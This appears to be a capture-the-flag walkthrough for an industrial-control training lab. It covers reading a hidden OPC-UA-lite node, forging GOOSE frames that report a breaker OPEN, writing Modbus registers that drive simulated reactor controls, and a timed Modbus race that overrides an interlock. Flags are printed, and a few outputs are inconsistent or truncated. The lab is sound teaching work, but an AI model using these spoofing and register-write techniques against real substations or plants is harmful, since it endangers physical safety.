7. OUI: How MAC vendor prefixes can help identify suspicious devices.

Main Lesson

An attacker can try to impersonate a real industrial device by using its name and IP address.

In this challenge, a second device claimed to be plc-01.

By checking the network traffic, Asset Inventory, and MAC vendor prefix, we identified the suspicious device.

The important lesson is that we should never trust a device just because it uses a familiar name or IP address. Always verify its MAC address and check whether it belongs to the registered assets.

Points: 150

Protocol: OPC-UA-lite (custom, non-standard) · Port: 9005 · Toolkit module: None — custom Python client required

The Story

Imagine a plant monitoring system that stores information in a folder-like structure. Each item has a unique address called a NodeId.

After a system reconfiguration, one node was removed from the folder tree. However, the node still exists and can be read if we know its address.

In this challenge, you'll explore the server, find a diagnostic message that reveals the missing node's address, and read that node directly.

Your mission: Find the orphaned node and retrieve its hidden flag.

About the Protocol — OPC-UA-lite

OPC UA is a communication protocol used by industrial systems to exchange information between devices and software.

This challenge uses OPC-UA-lite, a custom, simplified protocol. It is not a standard OPC UA server, so normal clients such as UA Expert and python-opcua will not complete the handshake.

The protocol supports three main operations:

• HELLO: Starts communication with the server.
• BROWSE: Lists the children of a node.
• READ: Retrieves a node's value.

Think of browsing as opening folders and reading as opening an individual file. A NodeId is the address used to identify a particular node.

Step 1: Connect to the Server

Hint

The server expects a one-byte HELLO message. Send it first and check the response before browsing the node tree.

Show command

import socket

HOST, PORT = "10.0.1.1", 9005
sock = socket.create_connection((HOST, PORT), timeout=5)

sock.sendall(b"\x01")  # HELLO
print("HELLO:", sock.recv(64))

What the code does

• import socket — Loads Python's socket library, which allows us to communicate over a network.
• HOST, PORT = "10.0.1.1", 9005 — Defines the target server's IP address and port.
• socket.create_connection(...) — Connects to the server. The connection attempt times out after five seconds if it cannot be established.
• sock.sendall(b"\x01") — Sends the one-byte HELLO request (0x01) to the server.
• sock.recv(64) — Receives up to 64 bytes from the server.
• print(...) — Displays the server's response.

HELLO: b'\x81\x11Sysrupt-OPCUA/1.0'

Step 2: Browse the Root Node

Hint

A BROWSE request uses opcode 0x02, followed by the two-byte NodeId. The Root node has NodeId 0x0000.

The response contains a status byte, a child count, and each child's NodeId and name.

Show command

def browse(sock, node_id):
    sock.sendall(bytes([0x02, (node_id >> 8) & 0xff, node_id & 0xff]))
    return sock.recv(1024)

def decode_browse(response):
    status, count = response[1], response[2]
    children, offset = [], 3

    for _ in range(count):
        node_id = (response[offset] << 8) | response[offset + 1]
        name_len = response[offset + 2]
        name = response[offset + 3:offset + 3 + name_len].decode(
            "utf-8", "replace"
        )

        children.append((node_id, name))
        offset += 3 + name_len

    return status, children

status, root_children = decode_browse(browse(sock, 0x0000))
print("ROOT children:", root_children)

What the code does

Part 1: Send a BROWSE request

• def browse(sock, node_id): — Defines a function that requests the children of a specified node.
• 0x02 — The opcode that tells the server we want to browse a node.
• (node_id >> 8) & 0xff — Extracts the higher eight bits of the NodeId.
• node_id & 0xff — Extracts the lower eight bits of the NodeId.
• bytes([...]) — Combines the opcode and two NodeId bytes into the request.
• sock.sendall(...) — Sends the request to the server.
• sock.recv(1024) — Receives the server's response, up to 1024 bytes.

Part 2: Decode the response

• response[1] — Reads the status byte.
• response[2] — Reads the number of children returned by the server.
• children, offset = [], 3 — Creates an empty list and sets the starting position of the child data.
• for _ in range(count): — Loops through each child in the response.
• (response[offset] << 8) | response[offset + 1] — Combines two bytes into the child's NodeId.
• response[offset + 2] — Reads the length of the child's name.
• .decode("utf-8", "replace") — Converts the name's bytes into readable text.
• children.append((node_id, name)) — Stores the child's NodeId and name.
• offset += 3 + name_len — Moves to the next child in the response.
• return status, children — Returns the status and decoded child list.

Part 3: Browse the Root

• browse(sock, 0x0000) — Requests the children of the Root node.
• decode_browse(...) — Converts the raw response into readable NodeIds and names.
• print(...) — Displays the children.

We start at Root because we need to discover which nodes are available before exploring the server.

ROOT children: [(256, 'Objects'), (512, 'Server')]

Step 3: Find Server → Diagnostics

Hint

Find Server among Root's children and browse it. Look for the Diagnostics node in the response.

Show command

server_id = next(
    nid for nid, name in root_children if name == "Server"
)

status, server_children = decode_browse(browse(sock, server_id))
print("SERVER children:", server_children)

diag_id = next(
    nid for nid, name in server_children if name == "Diagnostics"
)

What the code does

• next(...) — Finds the first matching item in an iterable.
• for nid, name in root_children — Examines each NodeId and name discovered in Step 2.
• if name == "Server" — Selects the entry named Server.
• server_id — Stores the NodeId of the Server node.
• browse(sock, server_id) — Requests the children of the Server node.
• decode_browse(...) — Decodes the response into readable NodeIds and names.
• print(...) — Displays the Server node's children.
• The second next(...) searches those children for the name Diagnostics.
• diag_id stores the Diagnostics node's NodeId for use in the next step.

We need the Diagnostics node because its message contains information about the orphaned node.

SERVER children: [(513, 'ServerStatus'), (514, 'Diagnostics')]

Step 4: Read Diagnostics and Find the Orphaned NodeId

Hint

A READ request uses opcode 0x03, followed by the two-byte NodeId.

Read the Diagnostics node and look for a hexadecimal address such as i=0x5000.

Show command

import re

def read(sock, node_id):
    sock.sendall(bytes([0x03, (node_id >> 8) & 0xff, node_id & 0xff]))
    return sock.recv(1024)

def decode_read(response):
    status, length = response[1], response[2]
    value = response[3:3 + length]
    return status, value

status, diag_value = decode_read(read(sock, diag_id))
diag_text = diag_value.decode("utf-8", "replace")
print("DIAGNOSTICS:", diag_text)

m = re.search(r"i=0x([0-9a-fA-F]+)", diag_text)
orphan_id = int(m.group(1), 16)

print(f"Orphaned NodeId: 0x{orphan_id:04x}")

What the code does

Part 1: Read a node

• import re — Loads Python's regular expression library, which helps search text for a pattern.
• def read(sock, node_id): — Defines a function to request a node's value.
• 0x03 — The opcode for a READ request.
• The next two bytes encode the requested NodeId.
• sock.sendall(...) — Sends the READ request.
• sock.recv(1024) — Receives the response.

Part 2: Decode the response

• response[1] — Reads the status byte.
• response[2] — Reads the length of the returned value.
• response[3:3 + length] — Extracts the value bytes from the response.
• return status, value — Returns the status and extracted value.

Part 3: Read Diagnostics

• read(sock, diag_id) — Requests the Diagnostics node's value.
• decode_read(...) — Extracts the returned value.
• .decode("utf-8", "replace") — Converts the bytes into readable text.
• print(...) — Displays the diagnostic message.

Part 4: Extract the orphaned NodeId

• re.search(r"i=0x([0-9a-fA-F]+)", diag_text) — Searches the message for a hexadecimal address beginning with i=0x.
• m.group(1) — Extracts the hexadecimal digits without the i=0x prefix.
• int(m.group(1), 16) — Converts the hexadecimal string into an integer.
• f"Orphaned NodeId: 0x{orphan_id:04x}" — Prints the NodeId in hexadecimal, padded to at least four digits.

This step identifies the address we need to access the orphaned node directly.

DIAGNOSTICS: WARN orphan node i=0x5000 unlinked from Objects
Orphaned NodeId: 0x5000

Step 5: Read the Orphaned Node

Hint

The node is no longer linked into the Objects tree, but you now know its NodeId. Use the READ function to request its value directly.

Show command

status, flag_value = decode_read(read(sock, orphan_id))
print("FLAG:", flag_value.decode("utf-8", "replace"))

What the code does

• read(sock, orphan_id) — Sends a READ request for the orphaned node discovered in Step 4.
• decode_read(...) — Extracts the node's value from the server's response.
• status, flag_value = ... — Stores the response status and the returned value.
• flag_value.decode("utf-8", "replace") — Converts the returned bytes into readable text.
• print("FLAG:", ...) — Displays the retrieved value.

Instead of browsing through the tree, we use the discovered NodeId to request the node directly.

FLAG: wired{0pcu4_h1dd3n_n0d3_r3ad}

What You Learned

• How to connect to a custom industrial protocol.
• How to send HELLO, BROWSE, and READ requests.
• How to decode a server response into readable data.
• How to find a NodeId by examining a diagnostic message.
• How to use Python's regular expressions to extract an address.
• How to read a node that is missing from the normal tree.

The key lesson: Removing a node from a folder does not necessarily make its data inaccessible. If the node still exists and the server permits direct reads, knowing its NodeId may be enough to access it.

Diagnostic messages that expose internal node addresses can make hidden data easier to discover.

Points: 300

Protocol: GOOSE training stream · Port: 6180/udp · Toolkit module: goose

The Story

Imagine an electrical substation where a breaker controls the flow of electricity. A monitoring system uses GOOSE messages to share the breaker's state with other devices.

In this challenge, you'll listen to these messages and learn how the system identifies new information. Then, you'll use the SYSRUPT toolkit to send a frame that the training subscriber accepts as a newer state.

Your mission: Capture the GOOSE traffic, understand its sequence numbers, send a frame that changes the reported breaker state, and retrieve the flag.

The breaker sends messages to tell other devices whether it is OPEN or CLOSED.

Your job is to: 1. Listen to the messages. 2. Understand how the messages work. 3. Send a fake message saying the breaker is OPEN. 4. Make the receiver accept your fake message.

Goal: S

What You Know

• Target: 10.0.1.1:6180 using UDP.
• The toolkit listens for incoming GOOSE training messages rather than actively probing the port.
• APPID identifies the application or message stream.
• confRev identifies the configuration revision.
• stNum identifies the current state and changes when that state changes.
• sqNum increases when the same state is retransmitted.
• The sysrupt sequence command runs multiple commands in order, with optional delays between them.

About the Protocol — GOOSE

GOOSE stands for Generic Object Oriented Substation Event. It is used in electrical substations to share important status information, such as breaker states.

GOOSE messages can be repeated so that receiving devices continue to receive the latest state.

Two important fields are:

• stNum (State Number): Changes when the published state changes.
• sqNum (Sequence Number): Increases when the same state is retransmitted.

Think of stNum as the version of the current state and sqNum as the number of times that state has been repeated.

Step 1: Listen and Capture the Real Traffic

Hint

Don't guess APPID, confRev, or the current stNum and sqNum. Listen to the live traffic and read the values from the captured frames.

Show command

./bin/sysrupt goose sniff --seconds 5

What the command does

• ./bin/sysrupt runs the SYSRUPT toolkit.
• goose selects the GOOSE module.
• sniff listens for incoming GOOSE training messages.
• --seconds 5 tells the toolkit to listen for five seconds.

The output shows the frames received during that period, including their application ID, state number, sequence number, configuration revision, and breaker state.

Operation:            GOOSE sniff (passive)
Target:               10.0.1.1:6180
Request:              listen 5s on UDP 6180
Protocol response:    3 frame(s) captured
Verification:         Protocol acknowledgement received
Elapsed:              5000.8 ms
frames:
  47 53 01 00 0b b8 00 00 00 01 00 00 02 92 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=658 confRev=1 flags=0x00 (breaker_open=False, test=False)
  47 53 01 00 0b b8 00 00 00 01 00 00 02 93 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=659 confRev=1 flags=0x00 (breaker_open=False, test=False)
  47 53 01 00 0b b8 00 00 00 01 00 00 02 95 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=661 confRev=1 flags=0x00 (breaker_open=False, test=False)

Step 2: Send a Frame with a New State Number

Hint

The receiver checks whether a message represents a newer state.

If the observed stNum is 1, the next state number would be 2. In this challenge, the supplied example uses 6 as the state number, and the toolkit accepts that frame.

Show command

./bin/sysrupt goose send --appid 0x0BB8 --stnum 6 \
  --confrev 1 --sqnum 0 --open

What the command does

• goose send constructs and sends a GOOSE training frame.
• --appid 0x0BB8 specifies the application ID observed in the capture.
• --stnum 6 sets the state number in the outgoing frame.
• --confrev 1 specifies the configuration revision.
• --sqnum 0 sets the sequence number to zero for the new state.
• --open sets the breaker's reported state to open.

The example uses state number 6, but the important lesson is to understand how the receiver evaluates state numbers rather than blindly copying an example.

Operation:            GOOSE send
Target:               10.0.1.1:6180
Request:              47 53 01 01 0b b8 00 00 00 06 00 00 00 00 00 01  ::  APPID=0x0bb8 stNum=6 sqNum=0 confRev=1 flags=0x01 (breaker_open=True, test=False)
Protocol response:    ACCEPTED breaker=OPEN wired{g00se_r3play_bl4ck0ut}
Verification:         Protocol acknowledgement received
Elapsed:              7.5 ms
Note:                 frame acknowledged; no flag in reply

Step 3: Create a Sequence to Repeat the State

Hint

Sometimes a single message is not enough to maintain a state. A sequence file lets you run several commands in order, with delays between them.

For repeated messages representing the same state, keep stNum the same and increase sqNum.

Show command

Create a file named goose-sustain.seq.json:

{
  "name": "goose-sustain",
  "description": "Repeated sends to maintain the reported state",
  "steps": [
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open"
    },
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open",
      "delay_before_ms": 300
    },
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open",
      "delay_before_ms": 300
    }
  ]
}

Validate the sequence:

./bin/sysrupt sequence validate goose-sustain.seq.json

Run it:

./bin/sysrupt sequence run goose-sustain.seq.json

What the commands do

Part 1: Create the sequence file

• "name" gives the sequence a name.
• "description" explains what the sequence is intended to do.
• "steps" contains the commands to run, in order.
• "command" specifies a command for the toolkit to execute.
• "delay_before_ms": 300 tells the sequence runner to wait 300 milliseconds before executing that step.

Part 2: Validate the sequence

./bin/sysrupt sequence validate goose-sustain.seq.json

This checks the sequence file and displays the commands that would run. Validation checks the sequence configuration; it does not execute the commands.

Part 3: Run the sequence

./bin/sysrupt sequence run goose-sustain.seq.json

This executes the commands in order and reports whether each step ran successfully.

In the example, all three frames use stNum 6, while their sqNum values are 0, 1, and 2.

Sequence 'goose-sustain' -- repeated sends to hold forged stNum/sqnum
3 step(s):
  [1] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open
  [2] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open   (wait 300ms before)
  [3] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open   (wait 300ms before)
(validation only -- nothing executed)
  [1] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open  (9.1 ms)
  [2] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open  (7.5 ms)
  [3] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open  (7.1 ms)
Sequence: goose-sustain  (3 steps, 624.2 ms total)
  [1] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open  (9.1 ms)  -> Request sent (no positive response)
  [2] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open  (7.5 ms)  -> Request sent (no positive response)
  [3] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open  (7.1 ms)  -> Request sent (no positive response)
Result: ALL STEPS OK

What You Learned

• How to capture and read GOOSE training traffic.
• What APPID, confRev, stNum, and sqNum represent.
• How the state number differs from the sequence number.
• How to send a GOOSE training frame using the SYSRUPT toolkit.
• How to create, validate, and run a sequence file.
• Why successful command execution and successful protocol acknowledgment are not always the same thing.

The key lesson: GOOSE receivers use state and sequence information to decide whether a message is fresh. Understanding these fields helps explain how industrial devices process changing states and repeated messages.

Points: 300

Protocol: Modbus/TCP · Port: 502/tcp · Toolkit module: modbus

The Story

The reactor's control system is no longer operating within its safe limits. Its temperature, pressure, and neutron flux need to be brought back under control.

The reactor has control inputs such as control rods, a cooling pump, and a pressure valve. These control how the reactor behaves, while sensors continuously measure its condition.

Your mission is to identify the control registers and sensor registers, adjust the reactor controls, and bring all three sensor readings into their safe ranges.

Getting the readings into the safe range once is not enough. You must keep the reactor stable long enough for the system to recognize the recovery.

What Is Happening?

Before starting, understand these three important measurements:

We have three control inputs:

The system also provides a SAFE_BAND register.

This register tells us whether each sensor is within its safe range:

• Bit 0 = Temperature safe
• Bit 1 = Pressure safe
• Bit 2 = Neutron flux safe

When all three are safe, the register becomes 7.

Step 1: Connect to the Target and Identify the Registers

What are we doing?

First, we connect to the reactor's Modbus service and inspect the available registers.

Modbus uses registers to store information. Some registers contain sensor readings, while others control equipment.

We need to understand which registers contain which information before making changes.

Commands

./bin/sysrupt target set 10.0.1.1
./bin/sysrupt status
./bin/sysrupt help modbus
./bin/sysrupt modbus read-input 0 16

What each command does:

• target set selects the reactor's IP address.
• status checks which services are reachable.
• help modbus displays available Modbus commands.
• read-input 0 16 reads 16 input registers starting from address 0.

Target set to 10.0.1.1
Target: 10.0.1.1

web         tcp/80     reachable
modbus      tcp/502    reachable
opcua       tcp/9005   reachable
goose       udp/6180   (UDP; passive sniff -- not probed)
historian   tcp/9000   no response

modbus tcp/502 reachable

Operation:            Modbus read-input
Target:               10.0.1.1:502
Request:              read-input addr=0 count=16
Protocol response:    [820, 2940, 679, 180, 400, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Verification:         Protocol acknowledgement received

Step 2: Check the SAFE_BAND Register

What are we doing?

Instead of checking every sensor separately, we can use the SAFE_BAND register to understand which conditions are safe.

It works like three switches:

When all three switches are ON, the value becomes:

1 + 2 + 4 = 7

Our target is therefore 7.

Command

./bin/sysrupt modbus read-input 5 1

Operation:            Modbus read-input
Target:               10.0.1.1:502
Request:              read-input addr=5 count=1
Protocol response:    [0]
Verification:         Protocol acknowledgement received

Step 3: Adjust the Reactor Controls

What are we doing?

Now we need to change the reactor's control inputs.

Remember the difference:

• Input registers: Give us information from sensors. We read these.
• Holding registers: Control equipment. We write values to these.

The challenge provides three holding registers:

We will adjust all three controls using the values provided by the challenge.

Commands

./bin/sysrupt modbus write 0 475
./bin/sysrupt modbus write 2 0
./bin/sysrupt modbus write 1 486

What are we doing with each value?

1. Control rod — Register 0

./bin/sysrupt modbus write 0 475

We set the control rod to 475 to bring neutron flux towards its safe range.

The challenge specifies that the target flux range is 300–650.

2. Pressure valve — Register 2

./bin/sysrupt modbus write 2 0

We set the pressure valve to 0 so that pressure follows the intended temperature relationship.

3. Water-flow pump — Register 1

./bin/sysrupt modbus write 1 486

We set the water-flow pump to 486 to balance the heat inside the reactor.

The challenge provides this balancing relationship:

240 × flux = 210 × flow + 12000

Check the sensor readings

After changing the controls, read the first six input registers:

./bin/sysrupt modbus read-input 0 6

Operation:            Modbus write-holding
Request:              write HR0 := 475
Protocol response:    echo (write acknowledged)

Operation:            Modbus write-holding
Request:              write HR2 := 0
Protocol response:    echo (write acknowledged)

Operation:            Modbus write-holding
Request:              write HR1 := 486
Protocol response:    echo (write acknowledged)

Operation:            Modbus read-input
Request:              read-input addr=0 count=6
Protocol response:    [652, 3209, 773, 218, 400, 3]

Step 4: Keep the Reactor Stable

What are we doing?

The challenge does not accept a temporary safe reading. The reactor must remain stable.

We can use a Bash loop to repeatedly apply the water-flow setting and check the SAFE_BAND register.

The loop performs three actions:

1. Applies the water-flow value.
2. Checks whether SAFE_BAND has reached 7.
3. Waits one second and repeats.

Command

while true; do
  ./bin/sysrupt modbus write 1 486
  ./bin/sysrupt modbus read-input 5 1
  sleep 1
done

Understanding the loop:

When the SAFE_BAND register reads 7, all three conditions are reported safe.

Press Ctrl + C to stop the loop after observing the required stable condition.

Operation:            Modbus write-holding
Request:              write HR1 := 486
Protocol response:    echo (write acknowledged)

Operation:            Modbus read-input
Request:              read-input addr=5 count=1
Protocol response:    [7]
Verification:         Protocol acknowledgement received

Protocol response: [7]

What We Learned

1. Modbus/TCP: A protocol used by industrial equipment to exchange information and control devices over a TCP network.

2. Input Registers: Used to read sensor information, such as temperature, pressure, and neutron flux.

3. Holding Registers: Used to send control values to equipment such as pumps, valves, and control rods.

4. Register Mapping: We identified which register represented each sensor and actuator.

5. Status Bitmask: SAFE_BAND uses three bits to report whether the three reactor conditions are safe.

6. Continuous Monitoring: A single successful reading is not enough. We repeatedly checked the status to observe whether the safe condition remained stable.

Final Result

Final observation: The SAFE_BAND register repeatedly returned 7, indicating that all three reactor conditions were reported safe during the monitoring loop.

Points: 300

Protocol: Modbus/TCP · Port: 502/tcp · Toolkit module: modbus

The Story

The reactor has a special maintenance mode that allows engineers to change the maintenance rod position.

However, this mode is protected by a supervisor lock. You must unlock it before changing the rod.

The catch is that the unlock stays active for only about 2 seconds. A background system also checks whether the rod is at its previously approved position. If you change the rod while the unlock is active, the system accepts the new position. Otherwise, it changes the rod back to its original value.

Your mission is to unlock the system, move the rod to its maximum position of 100, make the system accept the change, and keep it stable for approximately 10 seconds.

What You Need to Know

There are a few important Modbus registers in this challenge.

Important values:

• Original rod position: 10
• Maximum rod position: 100
• Unlock duration: Approximately 2 seconds.
• Required stable time: Approximately 10 seconds.

Our goal is to change the rod from 10 to 100 and make IR73 also show 100.

Step 1: Connect to the Target and Read the Registers

What are we doing?

First, we connect to the target and check the available registers.

We need to understand the current state of the maintenance system before changing anything.

Commands

./bin/sysrupt target set 10.0.1.1

./bin/sysrupt status

./bin/sysrupt help modbus

./bin/sysrupt modbus read-input 0 16

./bin/sysrupt modbus read-input 70 6

What each command does

• target set selects the target device.
• status checks which services are reachable.
• help modbus displays the available Modbus commands.
• read-input 0 16 reads the first 16 input registers.
• read-input 70 6 reads registers 70 to 75, where maintenance information is stored.

Target set to 10.0.1.1

modbus      tcp/502    reachable

HR20 = Supervisor Unlock
HR21 = Maintenance Rod

IR72 = Unlock Timer
IR73 = Last Authorised Rod Position
IR74 = Solve Status

Step 2: Understand the Unlock System

What are we doing?

Before changing the maintenance rod, we must unlock the supervisor lock.

First, try changing the rod without unlocking it. Then request the unlock and check the remaining time.

Commands

./bin/sysrupt modbus write 21 100

./bin/sysrupt modbus write 20 1

./bin/sysrupt modbus read-input 72 1

What is happening?

• Register 20 controls the unlock.
• Writing 1 requests an unlock.
• Register 72 shows how much unlock time remains.
• Register 21 controls the maintenance rod.

Step 3: Understand the Two Important Problems

There are two things that can make our attempt fail.

Problem 1: The unlock needs a fresh signal

The unlock works only when its value changes from:

0 → 1

This is called a rising edge.

Think of it like pressing a button. If the button is already ON, sending ON again does not create a new button press.

So, before unlocking, we must set the register back to 0.

./bin/sysrupt modbus write 20 0

Now the next write of 1 creates a fresh unlock signal.

Problem 2: The unlock window is very short

The unlock lasts only around 2 seconds.

Typing separate commands manually can take too long. By the time we send the rod command, the unlock may have expired.

Solution: Use the toolkit's sequence feature to execute all commands in the correct order over one connection.

Step 4: Create the Timed Sequence

What are we doing?

We are creating a JSON file containing the commands needed to perform the override.

The sequence will:

1. Turn the unlock OFF.
2. Turn the unlock ON.
3. Set the maintenance rod to 100.
4. Confirm the system legitimised the new position (IR73 = 100).
5. Hold the position for ~10 seconds on the same connection.
6. Read the flag from IR48.

Important: the badge pauses the plant simulation whenever no client is connected. The ~10 s stability hold only advances while a connection stays open, so the hold reads and the flag read must be steps in this one sequence — the toolkit runs every step over a single persistent connection. Doing them as separate commands after a shell sleep opens new connections and the hold never completes.

Create the file

nano maint.seq.json

Paste the following:

{
  "name": "maint-override",
  "steps": [
    { "command": "modbus write 20 0" },
    { "command": "modbus write 20 1", "deadline_ms": 1000 },
    { "command": "modbus write 21 100", "deadline_ms": 1800 },
    { "command": "modbus verify 73 100 --input", "delay_before_ms": 300 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 74 1", "delay_before_ms": 2600 },
    { "command": "modbus read-input 48 16", "delay_before_ms": 2600 }
  ]
}

Save the file.

Understand the sequence

What are the timing options?

• deadline_ms: Maximum time allowed for that step after the sequence starts.
• delay_before_ms: Waits before executing that step.

The three read-input 74 steps plus the final read are spaced ~2.6 s apart so the single connection stays open for the full ~10 s hold. Keeping one connection open is what lets the stability timer run to completion — the final read-input 48 then returns the flag.

Validate and execute the sequence

First, check whether the JSON file is correct:

./bin/sysrupt sequence validate maint.seq.json

Then execute it:

./bin/sysrupt sequence run maint.seq.json

modbus write 21 100

Protocol acknowledgement received

Request sent (no positive response)

Step 5: Check Whether the System Accepted the New Position

What are we doing?

Changing the rod to 100 does not automatically mean the system has accepted the change.

The background reconciliation loop checks the rod position while the unlock is open and, if it is, promotes 100 to the authorised value. This is the modbus verify 73 100 --input step inside the sequence — you do not run it separately (a standalone command would open a new connection). It confirms input register 73 now reads 100.

IR73 = 100

Step 6: Read the Flag from the Sequence Output

What are we doing?

Because the hold reads and the flag read are the last steps of the same sequence, you do not run any separate commands here — the single sequence run above already held the position for ~10 s on one connection and read IR48 at the end. You just read its output.

What to look for in the sequence output

• Step modbus write 21 100 → Protocol acknowledgement received (rod write accepted).
• Step modbus verify 73 100 --input → Observed state change confirmed (IR73 is now 100: the reconciliation loop legitimised the override).
• Final step modbus read-input 48 16 → Challenge completion confirmed, with the flag on its ascii: line.

[8] OK  modbus read-input 48 16  ->  Challenge completion confirmed
ascii: wired{t0ct0u_r0d_0verr1d3_pwn}

Important Things to Remember

1. Always write 0 to HR20 before writing 1. The unlock needs a fresh rising edge.
2. The unlock stays active for only approximately 2 seconds.
3. Use the sequence file instead of manually typing commands one by one.
4. Check IR73 to confirm that the new rod position was accepted.
5. Do not change the rod after it has been accepted.
6. Wait approximately 10 seconds before checking the solve status.
7. Avoid repeatedly opening the unlock. More than 6 rising edges within approximately 2 seconds can trigger a temporary maintenance lockout.

What We Learned

• Modbus Holding Registers: Used to control equipment, such as the supervisor unlock and maintenance rod.
• Input Registers: Used to read information, such as the unlock timer and solve status.
• Rising Edge: A signal change from 0 to 1.
• TOCTOU: A timing problem where something is checked at one moment but changes before the operation finishes.
• Sequence Engine: Allows multiple commands to execute in a fixed order over one connection.
• State Verification: Always check whether the system accepted a change instead of trusting only the write response.

Final Result